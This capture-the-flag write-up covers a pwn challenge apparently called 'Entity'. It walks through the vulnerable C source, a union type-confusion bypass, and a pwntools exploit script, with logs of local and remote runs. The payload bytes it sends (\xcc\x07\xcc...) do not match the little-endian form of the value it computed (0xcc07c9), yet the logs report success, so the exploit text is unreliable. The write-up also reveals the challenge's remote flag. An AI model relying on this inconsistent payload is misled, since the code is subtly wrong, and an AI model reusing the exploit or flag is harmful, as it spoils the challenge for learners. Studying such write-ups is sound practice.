

Entity

1) Source code is given to us

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

typedef enum {
    STORE_GET,
    STORE_SET,
    FLAG
} action_t;

typedef enum {
    INTEGER,
    STRING
} field_t;

typedef struct {
    action_t act;
    field_t field;
} menu_t;

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
        case 'T':
            res.act = STORE_SET;
            break;
        case 'R':
            res.act = STORE_GET;
            break;
        case 'C':
            res.act = FLAG;
            return res;
        default:
            puts("\nWhat's this nonsense?!");
            exit(-1);
    }

    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
        case 'L':
            res.field = INTEGER;
            break;
        case 'S':
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        res.field = STRING;
        break;
default:
    printf("\nYou are doomed!\n");
    exit(-1);
}
return res;
}

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }
}

void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
    case INTEGER:
        printf("%llu\n", DataStore.integer);
        break;
    case STRING:
        printf("%.8s\n", DataStore.string);
        break;
    }
}

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;

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        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
    }
}
}

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2) Attack Path

i) we have to reach get_flag() function with value of DataStore.integer as 13371337

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menu_t.menu().{
    ▽.▽.menu_t.res.={.0.};
    ▽.▽.char.buf[32]={.0.};
    ▽.▽.printf("\n(T)ry.to.turn.it.off\n(R)un\n(C)ry\n\n>>.");
    ▽.▽.fgets(buf,.sizeof(buf),.stdin);
    ▽.▽.buf[strcspn(buf, "\n")]=.0;
    ▽.▽.switch.(buf[0]).{
        ▽.▽.case.'T':
            ▽.▽.▽.▽.res.act.=.STORE_SET;
            ▽.▽.▽.▽.break;
        ▽.▽.case.'R':
            ▽.▽.▽.▽.res.act.=.STORE_GET;
            ▽.▽.▽.▽.break;
        ▽.▽.case.'C':
            ▽.▽.▽.▽.res.act.=.FLAG;
            ▽.▽.▽.▽.return.res;
        ▽.▽.default:
            ▽.▽.▽.▽.puts("\nWhat's.this.nonsense?!");
            ▽.▽.▽.▽.exit(-1);
    }
}

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    ▽.▽.▽.break;
    ▽.▽.case.FLAG:
        ▽.▽.▽.get_flag();
        ▽.▽.▽.break;
    }
}

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We have to Enter C to reach FLAG

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void set_field(field_t f) {
    ▽.▽.char buf[32] = {0};
    ▽.▽.printf("\nMaybe try a ritual?\n\n>>");
    ▽.▽.fgets(buf, sizeof(buf), stdin);
    ▽.▽.switch (f) {
    ▽.▽.case INTEGER:
        ▽.▽.▽.▽.sscanf(buf, "%llu", &DataStore.integer);
        ▽.▽.▽.▽.if (DataStore.integer == 13371337) {
            ▽.▽.▽.▽.▽.puts("\nWhat's this nonsense?!");
            ▽.▽.▽.▽.▽.exit(-1);
            ▽.▽.▽.▽.}
            ▽.▽.▽.▽.break;
        ▽.▽.case STRING:
            ▽.▽.▽.▽.memcpy(DataStore.string, buf, sizeof(DataStore.string));
            ▽.▽.▽.▽.break;
        ▽.▽.}
    }
}

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We cannot Set DataStore.integer to 13371337 as it will exit the program

ii) Now notice that DataStore is union type which means the char[8] and int share same memory

We need to Enter equivalent of 13371337 as string

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>>> hex(13371337)
'0xcc07c9'

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We can enter these bytes

\xcc\x07\xcc\x00\x00\x00\x00\x00

3) Made a exploit

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from pwn import *

io = process('./entity')
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)

io.sendlineafter(b'>> ', b'T')
io.sendlineafter(b'>> ', b'S')
io.sendlineafter(b'>> ', b'\xcc\x07\xcc\x00\x00\x00\x00\x00')
io.sendlineafter(b'>> ', b'C')

io.interactive()

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4) Exploited on local

```
(vigneswar@VigneswarPC)-[~/Pwn/Entity/challenge]
$ python3 exploit.py
[+] Starting local process './entity': pid 5063
[*] Switching to interactive mode
HTB{f4k3_fl4g_4_t35t1ng}
[*] Process './entity' stopped with exit code 0 (pid 5063)
[*] Got EOF while reading in interactive
$
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5) Exploited on remote machine

```
(vigneswar@VigneswarPC)-[~/Pwn/Entity/challenge]
$ python3 exploit.py
[+] Starting local process '/usr/bin/nc': pid 5272
[*] Switching to interactive mode
HTB{th3_3nt1ty_of_htb00_i5_5t1ll_h3r3}
[*] Process '/usr/bin/nc' stopped with exit code 0 (pid 5272)
[*] Got EOF while reading in interactive
$
```